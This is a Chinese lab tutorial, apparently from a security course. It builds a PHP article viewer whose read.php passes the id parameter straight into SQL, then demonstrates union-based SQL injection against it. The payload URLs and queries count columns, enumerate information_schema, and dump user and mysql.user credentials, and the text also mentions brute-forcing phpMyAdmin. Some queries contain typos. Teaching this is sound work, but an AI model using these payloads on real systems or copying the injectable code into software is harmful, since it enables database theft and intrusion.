一、编写代码,查询文章的源码
1)编写list.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script type="text/javascript" src="jquery-3.4.1.min.js"></script>
<title>文章列表</title>
<style>
table {
width: 800px;
margin: auto;
border: solid 1px green;
border-spacing: 0px;
}
td {
border: solid 1px gray;
height: 30px;
}
</style>
<script>
function doDelete(articleid) {
if (!window.confirm("你确定要删除该文章吗?")) {
return false;
}
$.post('delete.php', 'articleid='+articleid, function(data){
if (data == 'delete-ok') {
window.alert('删除成功');
// location.href = "list.php";
location.reload(); // 刷新当前页面
}
else {
window.alert('删除失败' + data);
}
});
}
</script>
</head>
<body>
<table>
<tr>
<td>编号</td>
<td>作者</td>
<td>标题</td>
<td>次数</td>
<td>时间</td>
<td>操作</td>
</tr>
<?php
include "common.php";
if (!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true') {
die ("请先登录. <a href='login.html'>点此登录</a>");
}
$conn = create_connection();
// $conn = mysqli_connect('127.0.0.1', 'root', 'root', 'learn') or die("数据库连接不成功.");
// mysqli_query($conn, "set names utf8");
$sql = "select articleid, author, headline, viewcount, createtime from article ";
$result = mysqli_query($conn, $sql);
// 将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);
// 遍历结果集数据并在表格中展示
foreach ($rows as $row) {
echo '<tr>';
echo '<td>' . $row[0] . '</td>';
echo '<td>' . $row[1] . '</td>';
echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
echo '<td>' . $row[3] . '</td>';
echo '<td>' . $row[4] . '</td>';
echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
// echo '<td><a href="delete.php?articleid='.$row[0].'">删除</a></td>';
echo '</tr>';
}
mysqli_close($conn);
?>
</table>
</body>
</html>
2)编写read.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
div {
width: 800px;
margin: auto;
height: 40px;
}
</style>
</head>
<body>
<?php
include "common.php";
if (!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true') {
die ("请先登录. <a href='login.html'>点此登录</a>");
}
$conn = create_connection();
$id = $_GET['id'];
$sql = "select * from article where articleid=$id";
$result = mysqli_query($conn, $sql);
$article = mysqli_fetch_assoc($result); // 读取结果集中的第一行数据,并用关联数组展示
?>
<div><?=$article['headline']?></div>
<div><hr></div>
<div><?=$article['content']?></div>
</body>
</html>
一、查询注入的数据类型
注入点根据可控参数的数据类型不同,可分为3类,分别是:
1、数字型
select *from tables where id = i;
2、字符型
select * from tables username = 'woniu';
3、搜索型
select * from tables where id like '%woniu%'
4、注释方式
数据类型不同,在注入的payload中会有大小不同,主要就是考察对字符语法规则和注释符的运算
二、注入步骤
查看是否有注入点(并且判断注入点的类型)==》判断条数==》显示数字位置==》查询数据库==》查询表==》查询列名==》具体的数据
1、通过and =1,and 1=2的输入,来判断是否存在注入点,如果结果不一致,说明我们输入的语句被数据库执行了。
2、通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型
3、使用order by 来确定主查询数目。order by 本质上是一个排序的语法,但是order by 有个条件,就是排序必须建立在正确的主查询条数上。
所以在注入中用order by并不是为了排序,而是为了确定主查询的条数,确保union select 的查询数与主查询一致。
order by只会在超过主查询列数后才会报错,小于或等于主查询列数不报错
http://192.168.74.133/security/read.php?id=1' order by 6 #不报错说明列数正确==>sql语句闭合后再进行联合查询
http://192.168.74.133/security/read.php?id=-1 union select 1,2,'hello',4,5,6
4、使用union select 查询,将主查询项改成负数或不存在
#union 联合查询的前提:列数相等
select * from tables where id = -1 union selsect 1,2,3,4,5,6.....
如果不知道列数的情况下,可以通过猜测的方式来使用select * from 表名,通常表名是起有意义的,
所以猜测正确的概率是有的,如果表名猜测猜测错误,是会出现错误信息或者查询不出结果,
那么如果只要查询出结果,则说明表名是正确的,且*的列数也是正确的
http://192.168.74.133/security/read.php?id=1 union select 1,2,3,4,5,6 from article
http://192.168.74.133/security/read.php?id=1 union select 1,2,user(),database(),5,6 from article
5、在显示的数字位置上 ,替换对应的查询语句,database(),version(),user()
http://192.168.74.133/security/read.php?id=-1 union select 1,2,3,4,5,6 from article
#还可以直接查询数据表的内容,进而实现拖库,以下查询的前提是需要知道表名和列名
http://192.168.74.133/security/read.php?id=1 union select 1,2,3,(select username from user limit 1,1),5,6
6、使用information_schema进行所有内容查询,得知库名后首先查询表:
SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"
7、根据库名和表名查出所有的列名:
SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "库名" ANO
TABLE_NAME="表名"
8、知道表名和列名,可以直接查出表的内容
select group_concat(列名) from "表名"
9、使用concat连接列值,可以一次性取出多列
select concat(username, "==", password,"==",role) as userinfo from user
10、如果查询出多列,只能显示一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1等
select 1,2,table_name,4,5,6 from information_schema.tables where table_schema='learn' limit 1,1
三、进阶用法
1.使用concat_ws指定分隔符,比concat更加方便
select concat_ws('==',username,password,role) as userinfo from user
2.使用group_concat和concat_ws连用
select * from article where arrticleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema,tables where table_schema='learn' ),
(select group_concat(concat_ws('==',username,password,role) from user)),5,6
/security/read.php?id=-1 union select 1,2,3,(select group_concat(cancat_ws('==',articeid,headline,viewcount)) from article),5,6
一次性完整取得数据库中的数据,在利用python进行字符串切分,即可还原为二维表
如何数据两太大,则可以进行分批次
3、十六进制代替单引号的问题
4、浏览所有数据库
/security/read.php?id=-1 union select 1,2,3,(select group_concat(distinct(table_schema)) from information_schema.table,5,6)
informaion_schaema,learn,mysql,performance_schema,phpmyadmin,xindai,zabbix 发现存在phpmyadmin数据库
尝试访问: /phpmyadmin,如果使用的认证方式为config,则直接进入后台,如何是使用认证方式为:http,这可以进行爆破,所以最好的方式就是不开启phpmyadmin,或者在最需要的时候才开启
可以修改配置文件 /opt/lampp/etc/extra/httpd-xampp.conf
将require all granted 改为require local
猥琐的解决方法:
把phpmyadmin目录,重命名为不容易猜测的名字:hfkjahsffhffs
5、获取mysql.user的用户名称密码,从而可以进行爆破
security/read.php?id=-1 union select 1,2,3,(select 1,2,3,(select concat(User,'==',Password,'==',Host) from mysql.user limit 0,1),5,6
6、针对非数值型的查询漏洞
select * from article where content like '%页面%';
select * from article where content like '%页面%' -- '页面'
上述查询主要针对MySQL的数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLserver等其他数据库
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将payload移动到Payload移到Post请求的正文当中即可。